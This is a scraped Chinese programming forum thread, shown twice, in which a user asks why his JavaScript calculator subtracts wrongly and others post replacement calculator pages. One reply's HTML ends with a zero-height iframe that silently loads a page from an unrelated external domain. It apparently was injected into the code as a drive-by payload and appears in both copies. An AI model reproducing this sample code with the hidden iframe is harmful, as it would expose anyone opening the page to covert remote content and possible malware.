小弟求助 JS计算器BUG 本帖最后由 w64534821 于 2010-11-06 22:09:37 编辑 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><title>无标题文档</title><style>input {width:50px;height:25px;}</style><script>var result=0;//计算结果var num1='';//第一个数var num2='';var flag=false;//标示 (是否按了符号)var opp='';//符号var temp='';//中间用变量var n1to2=false;var tooperate=false;var num2end=false;function addevent(){var arr=document.getElementsByTagName('input');for(var i=0;i<arr.length;i++){if(arr[i].value=='C'){arr[i].onclick=init;}else if(arr[i].value=='='){arr[i].onclick=show;}else if(arr[i].id!='txtshow'){arr[i].onclick=calculate;}}}function calculate(){temp=event.srcElement.value;if(temp=='+'||temp=='-'||temp=='*'||temp=='/'){opp=temp;n1to2=true;flag=true;num2='';show();}else{flag=false;}if((!n1to2)&&flag==false){temp='';temp=event.srcElement.value;num1+=temp;num1=parseInt(num1);result=num1;flag=false;//alert("num1 "+num1);show(result);}if(n1to2&&flag==false){temp='';temp=event.srcElement.value;num2+=temp;num2=parseInt(num2);flag=false;//alert("num2 "+num2);show(num2);}if(opp=='+'&&num2!=''){result=num1+num2;num1=result;}if(opp=='-'&&num2!=''){result=num1-num2;num1=result;}if(opp=='*'&&num2!=''){result=num1*num2;num1=result;}if(opp=='/'&&num2!=''){result=num1/num2;num1=result;}}//function showNum(){//document.getElementById('txtshow').value=num;//// show();////}//显示结果在窗口function show(k){if(k!=null){document.getElementById('txtshow').value=k;}else{document.getElementById('txtshow').value=result; }}//初始化function init(){result=0;//计算结果num1=0;//第一个数flag=false;//标示 (是否按了符号)opp='';//符号temp='';//中间用变量n1to2=false;flag=false;show();}</script></head><body onload="addevent()"><table border="1" cellpadding="3" > <tr> <td colspan="4"><input id="txtshow" type="text" style="width:230px; height:30px; margin:auto 10px; text-align:right; font-size:22px;" /></td> </tr> <tr> <td><input type="button" value="7" /></td> <td><input type="button" value="8" /></td> <td><input type="button" value="9" /></td> <td><input type="button" value="+" /></td> </tr> <tr> <td><input type="button" value="4" /></td> <td><input type="button" value="5" /></td> <td><input type="button" value="6" /></td> <td><input type="button" value="-" /></td> </tr> <tr> <td><input type="button" value="3" /></td> <td><input type="button" value="2" /></td> <td><input type="button" value="1" /></td> <td><input type="button" value="*" /></td> </tr> <tr> <td><input type="button" value="0" /></td> <td><input type="button" value="C" onclick="init()" /></td> <td><input type="button" value="/" /></td> <td><input type="button" value="=" /></td> </tr></table></body></html>不要老弹出提示框。 不好意思,为了DEBUG 所以弄了ALERT~ 现在问题 在与 ,我比方 现在我的当前NUM1是18 然后 我想让他见10 我先按1,其实这时候它已经减去了1,然后再按0,才减去10的 这样就是减去了11,不是我要的减10 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>计算器</title><style type="text/css">.btnNum{ width:30px; height:26px; color:#00F; font-size:14px; font-family:"Times New Roman", Times, serif;}.btnOp{ width:30px; height:26px; color:#F00; font-size:14px; font-family:"Times New Roman", Times, serif;}.txt{ text-align:right; font-size:14px;}</style><script>var strop=null;var num1;var isFirst=false;function doNum(num){ var obj=document.frm.txtNum; if(strop==null){ if(num==0){ if(obj.value=="0") return; else obj.value+=num; } else{ if(obj.value=="0") obj.value=num; else obj.value+=num; } } else{ if(num==0 && obj.value=="0"){ return; } else{ if(isFirst){ obj.value=num; isFirst=false; } else{ if(obj.value=="0") obj.value=num; else obj.value+=num; } } }}function doOperate(op){ switch(op){ case '+': case '-': case '*': case '/': isFirst=true; strop=op; num1=document.frm.txtNum.value; break; case '=': if(strop==null) return; if(strop=="+") //var result=num1+document.frm.txtNum.value; //3+9 var result=eval(num1+strop+document.frm.txtNum.value);//23*2 document.frm.txtNum.value=result; break; }}function clearCalc(){ document.frm.txtNum.value="0"; num1=null; strop=null; isFirst=false;}</script></head><body><form name="frm"><table><tr> <td colspan="4"> <input name="txtNum" class="txt" readonly="readonly" value="0"/> </td></tr><tr> <td><input type="button" value="7" class="btnNum" onclick="doNum(7)" /></td> <td><input type="button" value="8" class="btnNum" onclick="doNum(8)"/></td> <td><input type="button" value="9" class="btnNum" onclick="doNum(9)"/></td> <td><input type="button" value="+" class="btnOp" onclick="doOperate('+')"/></td></tr><tr> <td><input type="button" value="4" class="btnNum" onclick="doNum(4)"/></td> <td><input type="button" value="5" class="btnNum" onclick="doNum(5)"/></td> <td><input type="button" value="6" class="btnNum" onclick="doNum(6)"/></td> <td><input type="button" value="-" class="btnOp" onclick="doOperate('-')"/></td></tr><tr> <td><input type="button" value="1" class="btnNum" onclick="doNum(1)"/></td> <td><input type="button" value="2" class="btnNum" onclick="doNum(2)"/></td> <td><input type="button" value="3" class="btnNum" onclick="doNum(3)"/></td> <td><input type="button" value="*" class="btnOp" onclick="doOperate('*')"/></td></tr><tr> <td><input type="button" value="0" class="btnNum" onclick="doNum(0)"/></td> <td><input type="button" value="C" class="btnOp" onclick="clearCalc()"/></td> <td><input type="button" value="=" class="btnOp" onclick="doOperate('=')"/></td> <td><input type="button" value="/" class="btnOp" onclick="doOperate('/')"/></td> </tr></table></form></body></html> <html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>简单计算器</title><script> var fontNwe = false; //用来判断最先输入的数是第几次 var total = 0; //累计计算结果 var opp; //用来记录运算符 function clearall() { document.myform.optionName.value = 0; } function enternumber(number) { if (fontNwe)//如果是真是第二次也就是说以经按了操作符了 { document.myform.optionName.value = number; //把number负给optionName fontNwe = false; //把它从新负假 } else {//就是第一次又如果第一次是的话要从新给它值 if (document.myform.optionName.value == "0") { document.myform.optionName.value = number; } else//让它们的值连接起来 { document.myform.optionName.value = document.myform.optionName.value + number; } } } function operation(op) { var number1 = document.myform.optionName.value; //用来保存第一次输入的字符串 if (fontNwe == true) {//如果输入的是第一次的话 opp = op; //如果按多次符号的话保存最后一位最后返回 return; } if ('+' == opp)//这里保存的是第二次输入的那个字符 如果是第一次按操作符的话就不需要进入 { total = parseInt(number1) + total; } else if ('-' == opp) { total = total - parseFloat(number1); } else if ('*' == opp) { total *= parseFloat(number1); } else if ('/' == opp) { total /= parseFloat(number1); } else { total = parseFloat(number1); // 就把传入来的数负给全局变量的数 } document.myform.optionName.value = total; opp = op; //保存输入的字符串 fontNwe = true; //如果是第二次输入的话是让它为真 }</script><style>.mouserOutStyle{ width:50px; height:23px; font-size:14px; }</style></head><body onLoad="clearall()"><form name="myform" ><table width="202" height="195" border="1" align="center"> <tr align="center" > <td colspan="4" > <input name="optionName" type="text" value="0" size="30" align="right"> </td> </tr> <tr> <td width="56"> <input type="button" class="mouserOutStyle" onClick="enternumber('7')" name="Submit" value="7"> </td> <td width="42"><input class="mouserOutStyle" onClick="enternumber('8')" type="button" name="Submit2" value="8"></td> <td width="48"><input type="button" name="Submit3" onClick="enternumber('9')"class="mouserOutStyle" value="9"></td> <td width="62"><input class="mouserOutStyle" onClick="operation('+')" type="button" name="Submit4" value="+"></td> </tr> <tr> <td><input class="mouserOutStyle" type="button" onClick="enternumber('4')" name="Submit5" value="4"></td> <td><input class="mouserOutStyle" type="button" onClick="enternumber('5')"name="Submit6" value="5"></td> <td><input class="mouserOutStyle" type="button" onClick="enternumber('6')" name="Submit7" value="6"></td> <td><input type="button" class="mouserOutStyle" onClick="operation('-')" name="Submit8" value="-"></td> </tr> <tr> <td><input type="button" class="mouserOutStyle" onClick="enternumber('1')" name="Submit9" value="1"></td> <td><input type="button"class="mouserOutStyle" onClick="enternumber('2')" name="Submit10" value="2"></td> <td><input type="button"class="mouserOutStyle" onClick="enternumber('3')" name="Submit11" value="3"></td> <td><input type="button"class="mouserOutStyle" onClick="operation('*')" name="Submit12" value="*"></td> </tr> <tr> <td height="39"><input type="button"class="mouserOutStyle" onClick="clearall()" name="Submit13" value="0"></td> <td><input type="button" onClick="clearall()"name="Submit14"class="mouserOutStyle" value="C"></td> <td><input type="button" name="Submit15"class="mouserOutStyle" onClick="operation('/')" value="/"></td> <td><input type="button" name="Submit16"class="mouserOutStyle" onClick="operation('=')" value="="></td> </tr></table></form></body></html><iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe> http://download.csdn.net/source/1851789在学校的时候做的小项目 改简单一点<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><title>无标题文档</title><script src="jquery.js"></script><style>input {width:50px;height:25px;}</style><script>var newAccount = true;$(function(){ $("input:button").each(function(){ if (this.value == "="){ $(this).click(function(){ $("#txtshow").val(eval($("#txtshow").val())); newAccount = true; }); } else{ $(this).click(function(){ if (newAccount) { $("#txtshow").val(this.value); newAccount = false; } else { $("#txtshow").val($("#txtshow").val() + this.value); } }); } });});</script></head><body><table border="1" cellpadding="3" > <tr> <td colspan="4"><input id="txtshow" type="text" style="width:230px; height:30px; margin:auto 10px; text-align:right; font-size:22px;" /></td> </tr> <tr> <td><input type="button" value="7" /></td> <td><input type="button" value="8" /></td> <td><input type="button" value="9" /></td> <td><input type="button" value="+" /></td> </tr> <tr> <td><input type="button" value="4" /></td> <td><input type="button" value="5" /></td> <td><input type="button" value="6" /></td> <td><input type="button" value="-" /></td> </tr> <tr> <td><input type="button" value="3" /></td> <td><input type="button" value="2" /></td> <td><input type="button" value="1" /></td> <td><input type="button" value="*" /></td> </tr> <tr> <td><input type="button" value="0" /></td> <td><input type="button" value="C" /></td> <td><input type="button" value="/" /></td> <td><input type="button" value="=" /></td> </tr></table></body></html> 图片轮换用到闭包后不会自动播放,求高手 求一正则表达式 在线请教--关于file框的设置,在firefox浏览器的显示效果--- 如何把用java从数据库查询得到的结果集list传入到javascript中 怎么知道当前网页是否新创建打开的,还是直接打开的?? 这个简单的自动刷新?怎么和预期的效果不一样? javascript 闭包问题 .hta文件怎样运行另一个.hta文件? 怎样实现"在一个函数里对多个按钮实现翻转效果"?急 我想问一下javascript用什么编译器 大家帮忙看看解决方法吧? jquery uploadify在ie6下无法加载
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>无标题文档</title>
<style>
input {
width:50px;
height:25px;
}
</style>
<script>
var result=0;//计算结果
var num1='';//第一个数
var num2='';
var flag=false;//标示 (是否按了符号)
var opp='';//符号
var temp='';//中间用变量
var n1to2=false;
var tooperate=false;
var num2end=false;function addevent(){
var arr=document.getElementsByTagName('input');for(var i=0;i<arr.length;i++){
if(arr[i].value=='C'){
arr[i].onclick=init;
}
else if(arr[i].value=='='){
arr[i].onclick=show;
}
else if(arr[i].id!='txtshow'){
arr[i].onclick=calculate;
}}}function calculate(){
temp=event.srcElement.value;
if(temp=='+'||temp=='-'||temp=='*'||temp=='/'){
opp=temp;
n1to2=true;
flag=true;
num2='';
show();}else{flag=false;}if((!n1to2)&&flag==false){
temp='';
temp=event.srcElement.value;
num1+=temp;
num1=parseInt(num1);
result=num1;
flag=false;
//alert("num1 "+num1);
show(result);
}if(n1to2&&flag==false){
temp='';temp=event.srcElement.value;num2+=temp;
num2=parseInt(num2);
flag=false;
//alert("num2 "+num2);
show(num2);}if(opp=='+'&&num2!=''){
result=num1+num2;
num1=result;}
if(opp=='-'&&num2!=''){
result=num1-num2;
num1=result;}
if(opp=='*'&&num2!=''){
result=num1*num2;
num1=result;}
if(opp=='/'&&num2!=''){
result=num1/num2;
num1=result;}
}//function showNum(){
//document.getElementById('txtshow').value=num;
//// show();
//
//}//显示结果在窗口
function show(k){
if(k!=null){
document.getElementById('txtshow').value=k;
}else{
document.getElementById('txtshow').value=result; }}
//初始化
function init(){result=0;//计算结果
num1=0;//第一个数flag=false;//标示 (是否按了符号)
opp='';//符号
temp='';//中间用变量
n1to2=false;
flag=false;
show();
}</script>
</head>
<body onload="addevent()">
<table border="1" cellpadding="3" >
<tr>
<td colspan="4"><input id="txtshow" type="text" style="width:230px; height:30px; margin:auto 10px; text-align:right; font-size:22px;" /></td>
</tr>
<tr>
<td><input type="button" value="7" /></td>
<td><input type="button" value="8" /></td>
<td><input type="button" value="9" /></td>
<td><input type="button" value="+" /></td>
</tr>
<tr>
<td><input type="button" value="4" /></td>
<td><input type="button" value="5" /></td>
<td><input type="button" value="6" /></td>
<td><input type="button" value="-" /></td>
</tr>
<tr>
<td><input type="button" value="3" /></td>
<td><input type="button" value="2" /></td>
<td><input type="button" value="1" /></td>
<td><input type="button" value="*" /></td>
</tr>
<tr>
<td><input type="button" value="0" /></td>
<td><input type="button" value="C" onclick="init()" /></td>
<td><input type="button" value="/" /></td>
<td><input type="button" value="=" /></td>
</tr>
</table>
</body>
</html>
不要老弹出提示框。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>计算器</title>
<style type="text/css">
.btnNum{
width:30px;
height:26px;
color:#00F;
font-size:14px;
font-family:"Times New Roman", Times, serif;
}
.btnOp{
width:30px;
height:26px;
color:#F00;
font-size:14px;
font-family:"Times New Roman", Times, serif;
}
.txt{
text-align:right;
font-size:14px;
}
</style>
<script>
var strop=null;
var num1;
var isFirst=false;
function doNum(num){
var obj=document.frm.txtNum;
if(strop==null){
if(num==0){
if(obj.value=="0")
return;
else
obj.value+=num;
}
else{
if(obj.value=="0")
obj.value=num;
else
obj.value+=num;
}
}
else{
if(num==0 && obj.value=="0"){
return;
}
else{
if(isFirst){
obj.value=num;
isFirst=false;
}
else{
if(obj.value=="0")
obj.value=num;
else
obj.value+=num;
}
}
}
}function doOperate(op){
switch(op){
case '+':
case '-':
case '*':
case '/':
isFirst=true;
strop=op;
num1=document.frm.txtNum.value;
break;
case '=':
if(strop==null)
return;
if(strop=="+")
//var result=num1+document.frm.txtNum.value; //3+9
var result=eval(num1+strop+document.frm.txtNum.value);//23*2
document.frm.txtNum.value=result;
break;
}
}
function clearCalc(){
document.frm.txtNum.value="0";
num1=null;
strop=null;
isFirst=false;
}
</script>
</head><body>
<form name="frm">
<table>
<tr>
<td colspan="4">
<input name="txtNum" class="txt" readonly="readonly" value="0"/>
</td>
</tr>
<tr>
<td><input type="button" value="7" class="btnNum" onclick="doNum(7)" /></td>
<td><input type="button" value="8" class="btnNum" onclick="doNum(8)"/></td>
<td><input type="button" value="9" class="btnNum" onclick="doNum(9)"/></td>
<td><input type="button" value="+" class="btnOp" onclick="doOperate('+')"/></td>
</tr><tr>
<td><input type="button" value="4" class="btnNum" onclick="doNum(4)"/></td>
<td><input type="button" value="5" class="btnNum" onclick="doNum(5)"/></td>
<td><input type="button" value="6" class="btnNum" onclick="doNum(6)"/></td>
<td><input type="button" value="-" class="btnOp" onclick="doOperate('-')"/></td>
</tr><tr>
<td><input type="button" value="1" class="btnNum" onclick="doNum(1)"/></td>
<td><input type="button" value="2" class="btnNum" onclick="doNum(2)"/></td>
<td><input type="button" value="3" class="btnNum" onclick="doNum(3)"/></td>
<td><input type="button" value="*" class="btnOp" onclick="doOperate('*')"/></td>
</tr><tr>
<td><input type="button" value="0" class="btnNum" onclick="doNum(0)"/></td>
<td><input type="button" value="C" class="btnOp" onclick="clearCalc()"/></td>
<td><input type="button" value="=" class="btnOp" onclick="doOperate('=')"/></td>
<td><input type="button" value="/" class="btnOp" onclick="doOperate('/')"/></td>
</tr>
</table>
</form>
</body>
</html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>简单计算器</title>
<script> var fontNwe = false; //用来判断最先输入的数是第几次
var total = 0; //累计计算结果
var opp; //用来记录运算符
function clearall() {
document.myform.optionName.value = 0;
}
function enternumber(number) { if (fontNwe)//如果是真是第二次也就是说以经按了操作符了
{
document.myform.optionName.value = number; //把number负给optionName
fontNwe = false; //把它从新负假
} else {//就是第一次又如果第一次是的话要从新给它值 if (document.myform.optionName.value == "0") {
document.myform.optionName.value = number; } else//让它们的值连接起来
{
document.myform.optionName.value = document.myform.optionName.value + number; }
}
} function operation(op) {
var number1 = document.myform.optionName.value; //用来保存第一次输入的字符串
if (fontNwe == true) {//如果输入的是第一次的话
opp = op; //如果按多次符号的话保存最后一位最后返回
return;
}
if ('+' == opp)//这里保存的是第二次输入的那个字符 如果是第一次按操作符的话就不需要进入
{
total = parseInt(number1) + total; }
else if ('-' == opp) {
total = total - parseFloat(number1);
}
else if ('*' == opp) {
total *= parseFloat(number1);
}
else if ('/' == opp) {
total /= parseFloat(number1);
} else { total = parseFloat(number1); // 就把传入来的数负给全局变量的数 }
document.myform.optionName.value = total;
opp = op; //保存输入的字符串
fontNwe = true; //如果是第二次输入的话是让它为真
}
</script>
<style>
.mouserOutStyle{
width:50px;
height:23px;
font-size:14px;
}
</style>
</head><body onLoad="clearall()">
<form name="myform" >
<table width="202" height="195" border="1" align="center">
<tr align="center" >
<td colspan="4" >
<input name="optionName" type="text" value="0" size="30" align="right"> </td>
</tr>
<tr>
<td width="56">
<input type="button" class="mouserOutStyle" onClick="enternumber('7')" name="Submit" value="7"> </td>
<td width="42"><input class="mouserOutStyle" onClick="enternumber('8')" type="button" name="Submit2" value="8"></td>
<td width="48"><input type="button" name="Submit3" onClick="enternumber('9')"class="mouserOutStyle" value="9"></td>
<td width="62"><input class="mouserOutStyle" onClick="operation('+')" type="button" name="Submit4" value="+"></td>
</tr>
<tr>
<td><input class="mouserOutStyle" type="button" onClick="enternumber('4')" name="Submit5" value="4"></td>
<td><input class="mouserOutStyle" type="button" onClick="enternumber('5')"name="Submit6" value="5"></td>
<td><input class="mouserOutStyle" type="button" onClick="enternumber('6')" name="Submit7" value="6"></td>
<td><input type="button" class="mouserOutStyle" onClick="operation('-')" name="Submit8" value="-"></td>
</tr>
<tr>
<td><input type="button" class="mouserOutStyle" onClick="enternumber('1')" name="Submit9" value="1"></td>
<td><input type="button"class="mouserOutStyle" onClick="enternumber('2')" name="Submit10" value="2"></td>
<td><input type="button"class="mouserOutStyle" onClick="enternumber('3')" name="Submit11" value="3"></td>
<td><input type="button"class="mouserOutStyle" onClick="operation('*')" name="Submit12" value="*"></td>
</tr>
<tr>
<td height="39"><input type="button"class="mouserOutStyle" onClick="clearall()" name="Submit13" value="0"></td>
<td><input type="button" onClick="clearall()"name="Submit14"class="mouserOutStyle" value="C"></td>
<td><input type="button" name="Submit15"class="mouserOutStyle" onClick="operation('/')" value="/"></td>
<td><input type="button" name="Submit16"class="mouserOutStyle" onClick="operation('=')" value="="></td>
</tr>
</table>
</form>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>
在学校的时候做的小项目
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>无标题文档</title>
<script src="jquery.js"></script>
<style>
input {
width:50px;
height:25px;
}
</style>
<script>
var newAccount = true;
$(function(){
$("input:button").each(function(){
if (this.value == "="){
$(this).click(function(){
$("#txtshow").val(eval($("#txtshow").val()));
newAccount = true;
});
}
else{
$(this).click(function(){
if (newAccount) {
$("#txtshow").val(this.value);
newAccount = false;
}
else {
$("#txtshow").val($("#txtshow").val() + this.value);
}
});
}
});
});
</script>
</head>
<body>
<table border="1" cellpadding="3" >
<tr>
<td colspan="4"><input id="txtshow" type="text" style="width:230px; height:30px; margin:auto 10px; text-align:right; font-size:22px;" /></td>
</tr>
<tr>
<td><input type="button" value="7" /></td>
<td><input type="button" value="8" /></td>
<td><input type="button" value="9" /></td>
<td><input type="button" value="+" /></td>
</tr>
<tr>
<td><input type="button" value="4" /></td>
<td><input type="button" value="5" /></td>
<td><input type="button" value="6" /></td>
<td><input type="button" value="-" /></td>
</tr>
<tr>
<td><input type="button" value="3" /></td>
<td><input type="button" value="2" /></td>
<td><input type="button" value="1" /></td>
<td><input type="button" value="*" /></td>
</tr>
<tr>
<td><input type="button" value="0" /></td>
<td><input type="button" value="C" /></td>
<td><input type="button" value="/" /></td>
<td><input type="button" value="=" /></td>
</tr>
</table>
</body>
</html>